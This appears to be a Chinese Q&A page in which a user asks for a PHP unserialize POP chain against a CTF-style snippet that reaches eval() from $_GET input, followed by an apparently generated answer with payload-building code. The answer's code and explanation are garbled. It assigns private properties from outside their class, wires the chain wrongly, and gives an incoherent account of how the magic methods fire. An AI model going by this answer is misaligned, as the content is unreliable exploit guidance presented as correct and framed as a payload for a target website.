请对以下代码构造一段pop链,这只是一道试题:<?php highlight_file(FILE); class T1{ private $a; function __destruct(){ 'a'.$this->a; } } class T2{ private $b; function __toString() { return $this->b->test(); } function __call($fun,$arg) { return $this->b->n; } } class T3{ private $c; function __get($key){ eval($this->c); } } unserialize($_GET[a]); ?>
时间: 2023-06-11 13:10:22 浏览: 95
首先,我们需要构造三个类的实例,分别是 T1、T2、T3。然后,我们需要将它们串联起来,构造 pop 链。
这里有一个比较巧妙的构造 pop 链的方式,就是在反序列化时,将一个字符串类型的对象序列化成一个对象类型的对象,然后在该对象的 __toString() 方法中触发下一个对象的 __destruct() 方法。
下面是一个构造 pop 链的示例代码:
```
<?php
class T1 {
private $a;
function __destruct() {
'a'.$this->a;
}
}
class T2 {
private $b;
function __toString() {
return $this->b->test();
}
function __call($fun, $arg) {
return $this->b->n;
}
}
class T3 {
private $c;
function __get($key) {
eval($this->c);
}
}
$t1 = new T1();
$t2 = new T2();
$t2->b = $t1;
$t3 = new T3();
$t3->c = 'echo "Hello World!";';
$t3->c = urlencode(serialize($t3));
$t2->b = $t3;
$payload = urlencode(serialize($t2));
echo $payload;
?>
```
在上面的代码中,我们首先创建了 T1、T2、T3 三个类的实例,然后将它们串联起来,构造 pop 链。具体地说,我们将 $t1 对象赋值给 $t2->b 属性,将 $t3 对象赋值给 $t2->b->b 属性(即 $t1->b 属性),最后将 $t3 对象序列化,并将其赋值给 $t3->c 属性。注意,这里我们先将 $t3 对象的 $c 属性赋值为一个字符串,然后对其进行序列化,这样在反序列化时,$c 属性就会变成一个对象类型的属性,从而触发 $t3 对象的 __get() 方法,执行 eval() 函数,进而触发下一个对象的 __destruct() 方法。
最后,我们将 $t2 对象进行序列化,并将其 URL 编码后输出。这个序列化后的字符串就是我们需要提交给目标网站的 payload。
当目标网站收到我们提交的 payload 时,会进行反序列化操作,并触发 pop 链中的各个对象的特定方法,从而实现攻击。
阅读全文